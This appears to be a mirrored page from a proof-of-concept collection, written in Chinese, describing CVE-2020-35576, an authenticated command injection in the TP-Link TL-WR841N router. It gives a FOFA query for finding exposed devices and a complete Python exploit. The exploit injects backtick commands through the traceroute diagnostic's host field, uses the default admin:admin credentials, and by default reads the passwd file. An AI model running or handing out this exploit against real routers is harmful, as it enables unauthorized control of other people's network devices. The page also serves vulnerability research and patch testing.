mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 03:44:10 +00:00
108 lines
3.2 KiB
Markdown
108 lines
3.2 KiB
Markdown
# TP-Link TL-WR841N 远程代码执行漏洞 CVE-2020-35576
|
||
|
||
## 漏洞描述
|
||
|
||
通过该漏洞，经过身份验证的攻击者可以在TP-Link TL-WR841N系统上执行任意命令。
|
||
|
||
参考链接：
|
||
|
||
- https://isopach.dev/CVE-2020-35576/
|
||
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-35576
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
TP-Link TL-WR841N
|
||
```
|
||
|
||
## FOFA
|
||
|
||
```
|
||
app="TP_LINK-TL-WR841N"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
poc：
|
||
|
||
```python
|
||
# Author: Koh You Liang (Isopach)
|
||
# Exploit Title: TP-Link TL-WR841N OS Command Injection Exploit
|
||
# Date: 2020-12-13
|
||
# Vendor Homepage: https://www.tp-link.com/
|
||
# Software Link: https://www.tp-link.com/jp/support/download/tl-wr841n/v13/#Firmware
|
||
# Version: TL-WR841N 0.9.1 4.0
|
||
# Tested on: Windows 10, macOS Mojave, Ubuntu 20.04.1 LTS
|
||
# CVE: CVE-2020-35576
|
||
|
||
import requests
|
||
import sys
|
||
import time
|
||
|
||
try:
|
||
_ = sys.argv[2]
|
||
payload = ' '.join(sys.argv[1:])
|
||
except IndexError:
|
||
try:
|
||
payload = sys.argv[1]
|
||
except IndexError:
|
||
print("[*] Command not specified, using the default `cat etc/passwd`")
|
||
payload = 'cat etc/passwd'
|
||
|
||
# Default credentials is admin:admin - replace with your own
|
||
cookies = {
|
||
'Authorization': 'Basic YWRtaW46YWRtaW4='
|
||
}
|
||
|
||
headers = {
|
||
'Host': '192.168.0.1',
|
||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
|
||
'Accept': '*/*',
|
||
'Accept-Language': 'en-US,en;q=0.5',
|
||
'Accept-Encoding': 'gzip, deflate',
|
||
'Content-Type': 'text/plain',
|
||
'Content-Length': '197',
|
||
'Origin': 'http://192.168.0.1',
|
||
'Connection': 'close',
|
||
'Referer': 'http://192.168.0.1/mainFrame.htm',
|
||
}
|
||
|
||
data1 = \
|
||
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''.format(payload)
|
||
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
|
||
print('[+] Sending payload...')
|
||
|
||
try:
|
||
response1.text.splitlines()[0]
|
||
except IndexError:
|
||
sys.exit('[-] Cannot get response. Please check your cookie.')
|
||
|
||
if response1.text.splitlines()[0] != '[error]0':
|
||
sys.exit('[*] Router/Firmware is not vulnerable.')
|
||
|
||
data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
|
||
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
|
||
print('[+] Receiving response from router...')
|
||
time.sleep(0.8) # Buffer time for traceroute to succeed
|
||
|
||
data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
|
||
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)
|
||
|
||
|
||
if '=:' in response3.text.splitlines()[3]:
|
||
print('[-] Command not supported.')
|
||
else:
|
||
print('[+] Exploit successful!')
|
||
for line_number, line in enumerate(response3.text.splitlines()):
|
||
try:
|
||
if line_number == 3:
|
||
print(line[12:])
|
||
if line_number > 3 and line != '[error]0':
|
||
print(line)
|
||
if 'not known' in line:
|
||
break
|
||
except IndexError:
|
||
break
|
||
```
|
||
|